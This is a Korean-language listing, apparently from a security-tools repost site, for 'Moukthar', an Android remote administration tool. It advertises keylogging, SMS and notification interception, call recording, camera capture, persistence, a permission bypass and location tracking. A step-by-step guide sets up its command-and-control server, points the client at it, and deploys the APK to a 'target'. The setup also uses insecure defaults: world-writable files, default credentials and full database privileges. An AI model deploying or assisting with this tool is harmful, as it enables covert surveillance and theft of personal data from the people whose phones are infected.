moukthar

Moukthar

안드로이드용 원격 관리 도구

데모

기능

• 권한 우회 (안드로이드 12 이하)
• 키로거
• 알림 리스너
• SMS 리스너
• 통화 녹음
• 이미지 캡처 및 스크린샷
• 비디오 녹화
• 지속성
• 연락처 읽기 및 쓰기
• 설치된 애플리케이션 목록
• 파일 다운로드 및 업로드
• 기기 위치 확인

설치

• 리포지토리 클론
  root@kitploit:~

  git clone https://github.com/Tomiwa-Ot/moukthar.git
  

• PHP, Composer, MySQL, php-mysql 드라이버, Apache2, a2enmod 설치
• 서버 파일을 /var/www/html/ 로 이동하고 종속성 설치
  root@kitploit:~

  mv moukthar/Server/* /var/www/html/
  cd /var/www/html/c2-server
  composer install
  cd /var/www/html/web-socket/
  composer install
  cd /var/www
  chown -R www-data:www-data .
  chmod -R 777 .
  

  기본 자격 증명은 사용자 이름: android, 비밀번호: android입니다.
• 새 SQL 사용자 생성
  root@kitploit:~

  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
  FLUSH PRIVILEGES;
  

• 데이터베이스 자격 증명을 c2-server/.env 및 web-socket/.env에 설정
• database.sql 실행
• 웹 소켓 서버 시작 또는 리눅스에서 서비스로 배포
  root@kitploit:~

  php Server/web-socket/App.php
  # OR
  sudo mv Server/websocket.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable websocket.service
  sudo systemctl start websocket.service
  

• /etc/apache2/sites-available/000-default.conf 수정
  root@kitploit:~

  <VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/c2-server
        DirectoryIndex app.php
        Options -Indexes
  
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
  
  

• /etc/apache2/apache2.conf 수정
  root@kitploit:~

    Comment this section
    #<Directory />
    #       Options FollowSymLinks
    #       AllowOverride None
    #       Require all denied
    #</Directory>
  
   Add this
    <Directory /var/www/html/c2-server>
        Options -Indexes
        DirectoryIndex app.php
        AllowOverride All
        Require all granted
    </Directory>
  

• PHP 파일 업로드 최대 크기 증가 /etc/php/*.*/apache2/php.ini
  root@kitploit:~

  ; Increase size to permit large file uploads from client
  upload_max_filesize = 128M
  ; Set post_max_size to upload_max_filesize + 1
  post_max_size = 129M
  

• <script> 태그 내 웹 소켓 서버 주소를 c2-server/src/View/home.php 및 c2-server/src/View/features/files.php에서 설정
  root@kitploit:~

  const ws = new WebSocket('ws://IP_ADDRESS:8080');
  

• 아래 명령어로 Apache 재시작
  root@kitploit:~

  sudo a2enmod rewrite && sudo service apache2 restart
  

• 클라이언트 functionality/Utils.java에서 C2 서버 및 웹 소켓 서버 주소 설정
  root@kitploit:~

  public static final String C2_SERVER = "http://localhost";
  
  public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  

• Android Studio를 사용하여 APK 컴파일 및 대상에 배포

스크린샷

할 일

• 대시보드에서 로그 자동 스크롤
• 스크린샷 작동 안 함
• 애플리케이션이 포커스 상태가 아닐 때 이미지/비디오 캡처가 작동하지 않음
• DownloadManager를 사용한 앱 내 파일 다운로드가 작동하지 않음
• 디렉토리 구성 요소 나열 시 모든 파일/폴더를 나열하지 않음